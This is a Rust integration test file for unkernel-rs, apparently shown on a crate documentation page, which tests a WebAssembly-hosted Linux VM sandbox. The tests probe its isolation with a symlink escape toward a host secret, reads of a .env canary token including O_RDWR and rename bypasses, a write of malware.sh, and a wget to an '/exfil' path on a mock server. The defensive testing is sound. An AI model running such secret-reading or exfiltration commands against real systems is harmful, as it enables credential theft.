unkernel-rs 0.8.0

Native Rust + Wasmtime host library and CLI for unkernel (Linux 7.x on WebAssembly) — zero Node, zero JSPI, zero KVM
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
use std::io::{BufRead, BufReader, Read, Write};
use std::net::TcpListener;
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
use tempfile::TempDir;
use unkernel_rs::{
    ApprovalDecision, ApprovalKind, ApprovalRequest, AuditEvent, ExecOptions, MonitorConfig,
    MountSpec, NetConfig, Vm, VmConfig, open_audit_file,
};

fn test_vm_config() -> VmConfig {
    VmConfig {
        memory_mib: 128,
        offline: true,
        jit: true,
        ..VmConfig::default()
    }
}

#[test]
fn exec_stdout_stderr_stdin_env_cwd_exit_code() {
    let vm = Vm::boot(test_vm_config()).expect("boot VM");

    let mut opts = ExecOptions::shell("echo OUT:$MY_VAR:$(pwd); echo ERR_LINE >&2; cat; exit 42");
    opts.cwd = Some("/tmp".into());
    opts.env.insert("MY_VAR".into(), "rust_wasm".into());
    opts.stdin = Some(b"PIPED_INPUT\n".to_vec());

    let res = vm.exec(&opts).expect("exec");
    assert_eq!(res.exit_code, Some(42));
    assert_eq!(res.stdout_lossy(), "OUT:rust_wasm:/tmp\nPIPED_INPUT\n");
    assert_eq!(res.stderr_lossy(), "ERR_LINE\n");
    vm.shutdown();
}

#[test]
fn fake_root_and_airgap_isolation() {
    let vm = Vm::boot(test_vm_config()).expect("boot VM");

    let mut root_opts =
        ExecOptions::shell("id -u && touch /etc/isolated_test_file && ls /etc/isolated_test_file");
    root_opts.user = Some("root".into());
    let r = vm.exec(&root_opts).expect("root exec");
    assert_eq!(r.exit_code, Some(0));
    assert!(r.stdout_lossy().starts_with("0\n"));

    let net_res = vm
        .exec(&ExecOptions::shell(
            "wget -q -T 2 -O - http://1.1.1.1 2>&1; echo RC=$?",
        ))
        .expect("net probe");
    assert!(!net_res.stdout_lossy().contains("RC=0"));
    vm.shutdown();
}

#[test]
fn mount_9p_rw_ro_and_escape_prevention() {
    let outer = TempDir::new().expect("outer tempdir");
    let secret_file = outer.path().join("host_secret.txt");
    std::fs::write(&secret_file, "TOP_SECRET_OUTSIDE_MOUNT").unwrap();

    let workspace = outer.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("from_host.txt"), "hello-host\n").unwrap();

    // Symlink pointing outside the mounted workspace
    #[cfg(unix)]
    std::os::unix::fs::symlink(&secret_file, workspace.join("escape_link")).unwrap();

    let mut cfg = test_vm_config();
    cfg.mounts.push(MountSpec {
        host_path: workspace.clone(),
        guest_path: "/workspace".into(),
        read_only: false,
        copy_on_write: false,
    });
    cfg.mounts.push(MountSpec {
        host_path: workspace.clone(),
        guest_path: "/ro".into(),
        read_only: true,
        copy_on_write: false,
    });

    let vm = Vm::boot(cfg).expect("boot VM with 9p mounts");

    // 1. RW mount read & write
    let rw = vm
        .exec(&ExecOptions::shell(
            "cat /workspace/from_host.txt && printf 'hello-guest\\n' > /workspace/from_guest.txt && mkdir /workspace/sub && echo nested > /workspace/sub/a.txt",
        ))
        .expect("rw mount exec");
    assert_eq!(rw.exit_code, Some(0), "stderr: {}", rw.stderr_lossy());
    assert_eq!(rw.stdout_lossy(), "hello-host\n");
    assert_eq!(
        std::fs::read_to_string(workspace.join("from_guest.txt")).unwrap(),
        "hello-guest\n"
    );
    assert_eq!(
        std::fs::read_to_string(workspace.join("sub/a.txt")).unwrap(),
        "nested\n"
    );

    // 2. RO mount blocks mutation
    let ro = vm
        .exec(&ExecOptions::shell(
            "cat /ro/from_host.txt && (echo evil > /ro/blocked.txt 2>&1; echo RC=$?)",
        ))
        .expect("ro mount exec");
    assert!(ro.stdout_lossy().contains("hello-host"));
    assert!(!ro.stdout_lossy().contains("RC=0"));
    assert!(!workspace.join("blocked.txt").exists());

    // 3. Symlink escape must NOT reveal host_secret.txt
    let esc = vm
        .exec(&ExecOptions::shell(
            "cat /workspace/escape_link 2>&1 || true",
        ))
        .expect("escape test");
    assert!(
        !esc.stdout_lossy().contains("TOP_SECRET_OUTSIDE_MOUNT"),
        "symlink escape leaked secret: {}",
        esc.stdout_lossy()
    );

    vm.shutdown();
}

#[test]
fn cranelift_jit_compiles_blocks_without_errors() {
    let vm = Vm::boot(test_vm_config()).expect("boot VM");
    let res = vm
        .exec(&ExecOptions::shell("seq 15000 | sort -r | head -n 1"))
        .expect("sort exec");
    assert_eq!(res.exit_code, Some(0));
    assert_eq!(res.stdout_lossy().trim(), "9999");

    let stats = vm.jit_stats();
    assert!(stats.enabled);
    assert!(stats.requested);
    assert!(
        stats.compiled > 10,
        "expected JIT blocks compiled, got {:?}",
        stats
    );
    assert_eq!(
        stats.failed, 0,
        "expected 0 JIT compile failures: {:?}",
        stats
    );
    vm.shutdown();
}

#[test]
fn epoch_timeout_interrupts_infinite_loop() {
    let mut cfg = test_vm_config();
    cfg.vm_timeout = Some(Duration::from_millis(1200));
    let t0 = Instant::now();
    let vm = Vm::boot(cfg).expect("boot VM");
    let res = vm.exec(&ExecOptions::shell("while :; do :; done"));
    assert!(
        res.is_err(),
        "expected infinite loop to be interrupted by epoch timeout"
    );
    assert!(vm.timed_out(), "expected vm.timed_out() == true");
    assert!(
        t0.elapsed() < Duration::from_secs(5),
        "timeout took too long: {:?}",
        t0.elapsed()
    );
    vm.shutdown();
}

#[test]
fn cli_serve_ndjson_with_landlock_sandbox() {
    let bin = env!("CARGO_BIN_EXE_unkernel-rs");
    let workspace = TempDir::new().expect("workspace");
    std::fs::write(workspace.path().join("note.txt"), "sandbox-ok\n").unwrap();

    let mut child = Command::new(bin)
        .args([
            "serve",
            "--offline",
            "--sandbox",
            "--mount",
            &format!("{}:/workspace:ro", workspace.path().display()),
        ])
        .stdin(Stdio::piped())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn unkernel-rs serve");

    let mut stdin = child.stdin.take().unwrap();
    let stdout = child.stdout.take().unwrap();
    let mut reader = BufReader::new(stdout);

    // 1. Ready handshake
    let mut line = String::new();
    reader.read_line(&mut line).expect("read ready");
    let ready: serde_json::Value = serde_json::from_str(&line).expect("parse ready JSON");
    assert_eq!(ready["ready"], true);
    #[cfg(target_os = "linux")]
    {
        assert_eq!(ready["sandbox"]["enabled"], true);
        assert!(ready["sandbox"]["landlock_abi"].as_i64().unwrap_or(0) >= 1);
    }

    // 2. Execute commands over NDJSON
    writeln!(
        stdin,
        "{{\"id\":1,\"cmd\":\"cat /workspace/note.txt\",\"cwd\":\"/workspace\"}}"
    )
    .unwrap();
    stdin.flush().unwrap();
    line.clear();
    reader.read_line(&mut line).expect("read resp 1");
    let r1: serde_json::Value = serde_json::from_str(&line).expect("parse resp 1");
    assert_eq!(r1["id"], 1);
    assert_eq!(r1["exit_code"], 0);
    assert_eq!(r1["stdout"], "sandbox-ok\n");

    // 3. Clean shutdown
    writeln!(stdin, "{{\"shutdown\":true}}").unwrap();
    stdin.flush().unwrap();
    let status = child.wait().expect("wait child");
    assert!(status.success());
}

#[test]
fn persistent_disk_and_snapshot_cow() {
    let dir = TempDir::new().expect("tempdir");
    let disk_path = dir.path().join("state.ext4");

    // 1. Boot with a fresh persistent ext4 disk (auto-created from KWSPARS1 template) and write a file
    let mut cfg1 = test_vm_config();
    cfg1.data_disk = Some(disk_path.clone());
    let vm1 = Vm::boot(cfg1).expect("boot VM 1 with fresh data disk");
    let mut w = ExecOptions::shell("echo persisted-marker > /etc/unkernel_persist_test && sync");
    w.user = Some("root".into());
    let r1 = vm1.exec(&w).expect("write persisted file");
    assert_eq!(r1.exit_code, Some(0), "stderr: {}", r1.stderr_lossy());
    vm1.shutdown();
    assert!(disk_path.exists());

    // Snapshot host disk SHA-256 before step 2 to prove --disk-snapshot leaves it byte-for-byte identical
    let sha_before = unkernel_rs::cache::sha256_file(&disk_path).expect("hash before cow");

    // 2. Reboot with --disk-snapshot (in-memory COW): reads persisted file, writes ephemeral file
    let mut cfg2 = test_vm_config();
    cfg2.data_disk = Some(disk_path.clone());
    cfg2.data_disk_snapshot = true;
    let vm2 = Vm::boot(cfg2).expect("boot VM 2 in COW snapshot mode");
    let mut r_opts = ExecOptions::shell(
        "cat /etc/unkernel_persist_test && echo cow-only > /etc/unkernel_cow_only && cat /etc/unkernel_cow_only",
    );
    r_opts.user = Some("root".into());
    let r2 = vm2.exec(&r_opts).expect("read persisted + write COW");
    assert_eq!(r2.exit_code, Some(0), "stderr: {}", r2.stderr_lossy());
    assert_eq!(r2.stdout_lossy(), "persisted-marker\ncow-only\n");
    vm2.shutdown();

    let sha_after = unkernel_rs::cache::sha256_file(&disk_path).expect("hash after cow");
    assert_eq!(
        sha_before, sha_after,
        "--disk-snapshot must never modify host ext4 image"
    );

    // 3. Reboot again in COW snapshot mode: persisted-marker exists, cow-only does NOT exist!
    let mut cfg3 = test_vm_config();
    cfg3.data_disk = Some(disk_path);
    cfg3.data_disk_snapshot = true;
    let vm3 = Vm::boot(cfg3).expect("boot VM 3 with clean COW snapshot");
    let r3 = vm3
        .exec(&ExecOptions::shell(
            "cat /etc/unkernel_persist_test && test ! -e /etc/unkernel_cow_only && echo COW_CLEAN",
        ))
        .expect("verify COW immutability");
    assert_eq!(r3.exit_code, Some(0), "stderr: {}", r3.stderr_lossy());
    assert_eq!(r3.stdout_lossy(), "persisted-marker\nCOW_CLEAN\n");
    vm3.shutdown();
}

#[test]
fn net_dhcp_icmp_and_ssrf_allowlist_blocking() {
    let mut cfg = test_vm_config();
    cfg.net = NetConfig {
        enabled: true,
        allow_lan: false,
        allow_hosts: vec!["only-allowlisted.invalid".into()],
        ..NetConfig::default()
    };
    let vm = Vm::boot(cfg).expect("boot VM with --net");

    // Wait briefly for DHCP lease on eth0 (10.0.2.15) and ping gateway (10.0.2.2 as root for raw ICMP)
    let mut ping_opts = ExecOptions::shell(
        "for i in 1 2 3 4 5 6 7 8 9 10; do ip addr show eth0 | grep -q 10.0.2.15 && break; sleep 0.1; done; \
         ip addr show eth0 | grep 10.0.2.15 && ping -c 1 -W 2 10.0.2.2 >/dev/null && echo GW_PING_OK",
    );
    ping_opts.user = Some("root".into());
    let net_check = vm.exec(&ping_opts).expect("dhcp + ping gw");
    assert_eq!(
        net_check.exit_code,
        Some(0),
        "stderr: {}",
        net_check.stderr_lossy()
    );
    assert!(net_check.stdout_lossy().contains("GW_PING_OK"));

    // Non-allowlisted domain must be refused at DNS level
    let dns_block = vm
        .exec(&ExecOptions::shell(
            "wget -q -T 2 -O - http://example.com 2>&1; echo RC=$?",
        ))
        .expect("blocked domain probe");
    assert!(!dns_block.stdout_lossy().contains("RC=0"));

    // Private/LAN IP must be refused with TCP RST
    let lan_block = vm
        .exec(&ExecOptions::shell(
            "wget -q -T 2 -O - http://192.168.1.1 2>&1; echo RC=$?",
        ))
        .expect("blocked LAN probe");
    assert!(!lan_block.stdout_lossy().contains("RC=0"));

    vm.shutdown();
}

#[test]
fn monitor_shai_hulud_sensitive_read_and_fs_write_approvals() {
    let dir = TempDir::new().expect("tempdir");
    let workspace = dir.path().join("workspace");
    std::fs::create_dir(&workspace).unwrap();
    std::fs::write(workspace.join("readme.txt"), "public-info\n").unwrap();
    std::fs::write(
        workspace.join(".env"),
        "NPM_TOKEN=shai_hulud_canary_secret_999\n",
    )
    .unwrap();
    std::fs::write(
        workspace.join(".npmrc"),
        "//registry.npmjs.org/:_authToken=allowed_npm_token\n",
    )
    .unwrap();

    let audit_log = dir.path().join("audit.jsonl");
    let events: Arc<Mutex<Vec<AuditEvent>>> = Arc::new(Mutex::new(Vec::new()));
    let events_cb = events.clone();

    let mut cfg = test_vm_config();
    cfg.mounts.push(MountSpec {
        host_path: workspace.clone(),
        guest_path: "/workspace".into(),
        read_only: false,
        copy_on_write: false,
    });
    cfg.monitor = MonitorConfig {
        audit_callback: Some(Arc::new(move |ev| {
            events_cb.lock().unwrap().push(ev);
        })),
        audit_file: Some(open_audit_file(&audit_log).expect("open audit file")),
        audit_enabled: true,
        ask_net: false,
        ask_fs_write: true,
        ask_sensitive_read: true,
        freeze_on_ask: true,
        approval_callback: Some(Arc::new(|req: &ApprovalRequest| match req.kind {
            ApprovalKind::FsSensitiveRead => {
                if req.target.ends_with("/.env") {
                    ApprovalDecision::DenyOnce
                } else {
                    ApprovalDecision::AllowOnce
                }
            }
            ApprovalKind::FsWrite => {
                if req.target.ends_with("/malware.sh") {
                    ApprovalDecision::DenyOnce
                } else {
                    ApprovalDecision::AllowOnce
                }
            }
            ApprovalKind::NetConnect => ApprovalDecision::DenyOnce,
        })),
    };

    let vm = Vm::boot(cfg).expect("boot monitored VM");

    // 1. Non-sensitive read succeeds without triggering any approval
    let r_pub = vm
        .exec(&ExecOptions::shell("cat /workspace/readme.txt"))
        .expect("read readme");
    assert_eq!(r_pub.exit_code, Some(0));
    assert_eq!(r_pub.stdout_lossy(), "public-info\n");
    {
        let evs = events.lock().unwrap();
        assert!(
            !evs.iter()
                .any(|e| matches!(e, AuditEvent::ApprovalRequired { .. })),
            "non-sensitive read must not prompt for approval"
        );
    }

    // 2. Sensitive .env read (and O_RDWR / rename bypass attempts) are denied by host -> secret never leaks!
    let r_env = vm
        .exec(&ExecOptions::shell("cat /workspace/.env"))
        .expect("read .env");
    assert_ne!(r_env.exit_code, Some(0));
    assert!(
        !r_env
            .stdout_lossy()
            .contains("shai_hulud_canary_secret_999"),
        "denied .env leaked secret!"
    );

    let r_rdwr = vm
        .exec(&ExecOptions::shell("exec 3<>/workspace/.env && cat <&3"))
        .expect("O_RDWR .env bypass check");
    assert_ne!(r_rdwr.exit_code, Some(0));
    assert!(
        !r_rdwr
            .stdout_lossy()
            .contains("shai_hulud_canary_secret_999")
    );

    let r_mv = vm
        .exec(&ExecOptions::shell(
            "mv /workspace/.env /workspace/renamed.txt && cat /workspace/renamed.txt",
        ))
        .expect("rename .env bypass check");
    assert_ne!(r_mv.exit_code, Some(0));
    assert!(!workspace.join("renamed.txt").exists());
    assert!(workspace.join(".env").exists());

    // 3. Sensitive .npmrc read is explicitly approved -> succeeds
    let r_npm = vm
        .exec(&ExecOptions::shell("cat /workspace/.npmrc"))
        .expect("read .npmrc");
    assert_eq!(r_npm.exit_code, Some(0), "stderr: {}", r_npm.stderr_lossy());
    assert!(r_npm.stdout_lossy().contains("allowed_npm_token"));

    // 4. Write to malware.sh is denied -> file must not exist on host
    let r_bad_write = vm
        .exec(&ExecOptions::shell("echo evil > /workspace/malware.sh"))
        .expect("write malware.sh");
    assert_ne!(r_bad_write.exit_code, Some(0));
    assert!(!workspace.join("malware.sh").exists());

    // 5. Write to allowed.txt is approved -> persisted on host
    let r_ok_write = vm
        .exec(&ExecOptions::shell("echo good > /workspace/allowed.txt"))
        .expect("write allowed.txt");
    assert_eq!(
        r_ok_write.exit_code,
        Some(0),
        "stderr: {}",
        r_ok_write.stderr_lossy()
    );
    assert_eq!(
        std::fs::read_to_string(workspace.join("allowed.txt")).unwrap(),
        "good\n"
    );

    vm.shutdown();

    // Verify captured telemetry + JSONL audit file
    let evs = events.lock().unwrap();
    assert!(
        evs.iter().any(|e| matches!(e, AuditEvent::VmPaused { .. })),
        "expected vm.paused from freeze_on_ask"
    );
    assert!(
        evs.iter()
            .any(|e| matches!(e, AuditEvent::VmResumed { .. })),
        "expected vm.resumed from freeze_on_ask"
    );
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::FsOp {
            path,
            sensitive: true,
            decision,
            ..
        } if path == "/workspace/.env" && decision == "deny_user"
    )));
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::ApprovalResolved {
            kind: ApprovalKind::FsWrite,
            target,
            decision: ApprovalDecision::DenyOnce,
            ..
        } if target == "/workspace/malware.sh"
    )));

    let file_contents = std::fs::read_to_string(&audit_log).expect("read audit.jsonl");
    let lines: Vec<&str> = file_contents.lines().collect();
    assert!(lines.len() >= 5, "expected audit JSONL entries");
    for l in lines {
        let v: serde_json::Value = serde_json::from_str(l).expect("valid audit JSONL line");
        assert!(v.get("event").is_some());
    }
}

#[test]
fn monitor_net_approval_http_inspection_and_rst_on_deny() {
    let listener = TcpListener::bind("127.0.0.1:0").expect("bind local mock HTTP server");
    let port = listener.local_addr().unwrap().port();
    listener.set_nonblocking(true).unwrap();

    let stop_srv = Arc::new(AtomicBool::new(false));
    let accepted = Arc::new(AtomicUsize::new(0));
    let stop_srv_t = stop_srv.clone();
    let accepted_t = accepted.clone();

    let srv_handle = std::thread::spawn(move || {
        while !stop_srv_t.load(Ordering::Relaxed) {
            match listener.accept() {
                Ok((mut stream, _)) => {
                    accepted_t.fetch_add(1, Ordering::SeqCst);
                    let _ = stream.set_read_timeout(Some(Duration::from_secs(2)));
                    let mut req_buf = [0u8; 1024];
                    let _ = stream.read(&mut req_buf);
                    let _ = stream.write_all(
                        b"HTTP/1.1 200 OK\r\nContent-Length: 12\r\nConnection: close\r\n\r\nHELLO_SECRET",
                    );
                    let _ = stream.flush();
                }
                Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
                    std::thread::sleep(Duration::from_millis(10));
                }
                Err(_) => break,
            }
        }
    });

    let events: Arc<Mutex<Vec<AuditEvent>>> = Arc::new(Mutex::new(Vec::new()));
    let events_cb = events.clone();
    let net_prompts = Arc::new(AtomicUsize::new(0));
    let net_prompts_cb = net_prompts.clone();

    let mut cfg = test_vm_config();
    cfg.net = NetConfig {
        enabled: true,
        allow_lan: true,
        allow_hosts: Vec::new(),
        ..NetConfig::default()
    };
    cfg.monitor = MonitorConfig {
        audit_callback: Some(Arc::new(move |ev| {
            events_cb.lock().unwrap().push(ev);
        })),
        audit_file: None,
        audit_enabled: true,
        ask_net: true,
        ask_fs_write: false,
        ask_sensitive_read: false,
        freeze_on_ask: true,
        approval_callback: Some(Arc::new(move |req: &ApprovalRequest| {
            assert_eq!(req.kind, ApprovalKind::NetConnect);
            let n = net_prompts_cb.fetch_add(1, Ordering::SeqCst);
            if n == 0 {
                ApprovalDecision::DenyOnce
            } else {
                ApprovalDecision::AllowOnce
            }
        })),
    };

    let vm = Vm::boot(cfg).expect("boot VM with ask_net");

    // Wait briefly for DHCP lease
    let _ = vm.exec(&ExecOptions::shell(
        "for i in 1 2 3 4 5 6 7 8 9 10; do ip addr show eth0 | grep -q 10.0.2.15 && break; sleep 0.1; done",
    ));

    // 1. First outbound connect is DENIED before any host TcpStream opens -> 0 accepts on host!
    let r1 = vm
        .exec(&ExecOptions::shell(format!(
            "wget -q -T 3 -O - http://10.0.2.2:{port}/exfil 2>&1; echo RC=$?"
        )))
        .expect("denied wget");
    assert!(!r1.stdout_lossy().contains("HELLO_SECRET"));
    assert!(!r1.stdout_lossy().contains("RC=0"));
    assert_eq!(
        accepted.load(Ordering::SeqCst),
        0,
        "denied TCP SYN must never reach host listener"
    );

    // 2. Second outbound connect is ALLOWED -> succeeds and logs HTTP request line + bytes!
    let r2 = vm
        .exec(&ExecOptions::shell(format!(
            "wget -q -T 3 -O - http://10.0.2.2:{port}/allowed-path"
        )))
        .expect("allowed wget");
    assert_eq!(r2.exit_code, Some(0), "stderr: {}", r2.stderr_lossy());
    assert_eq!(r2.stdout_lossy(), "HELLO_SECRET");
    assert_eq!(accepted.load(Ordering::SeqCst), 1);

    vm.shutdown();
    stop_srv.store(true, Ordering::Relaxed);
    let _ = srv_handle.join();

    let evs = events.lock().unwrap();
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::NetConnect {
            port: p,
            decision,
            ..
        } if *p == port && decision == "deny_user"
    )));
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::NetConnect {
            port: p,
            decision,
            ..
        } if *p == port && decision == "allow_once"
    )));
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::NetHttp {
            method,
            path,
            ..
        } if method == "GET" && path == "/allowed-path"
    )));
    assert!(evs.iter().any(|e| matches!(
        e,
        AuditEvent::NetClose {
            bytes_tx,
            bytes_rx,
            ..
        } if *bytes_tx > 0 && *bytes_rx > 0
    )));
    assert!(evs.iter().any(|e| matches!(e, AuditEvent::VmPaused { .. })));
    assert!(
        evs.iter()
            .any(|e| matches!(e, AuditEvent::VmResumed { .. }))
    );
}

#[test]
fn vm_pause_resume_freezes_execution_and_monotonic_clock() {
    let vm = Arc::new(Vm::boot(test_vm_config()).expect("boot VM"));

    let read_uptime = |vm: &Vm| -> f64 {
        let r = vm
            .exec(&ExecOptions::shell("awk '{print $1}' /proc/uptime"))
            .expect("read uptime");
        assert_eq!(r.exit_code, Some(0));
        r.stdout_lossy().trim().parse::<f64>().expect("parse f64")
    };

    let up_before = read_uptime(&vm);
    let t0 = Instant::now();

    let vm_bg = vm.clone();
    let done = Arc::new(AtomicBool::new(false));
    let done_bg = done.clone();
    let handle = std::thread::spawn(move || {
        let r = vm_bg
            .exec(&ExecOptions::shell(
                "sleep 0.25 && awk '{print $1}' /proc/uptime",
            ))
            .expect("sleep exec");
        done_bg.store(true, Ordering::SeqCst);
        r
    });

    // Wait briefly so guest enters sleep, then freeze whole VM for 450ms
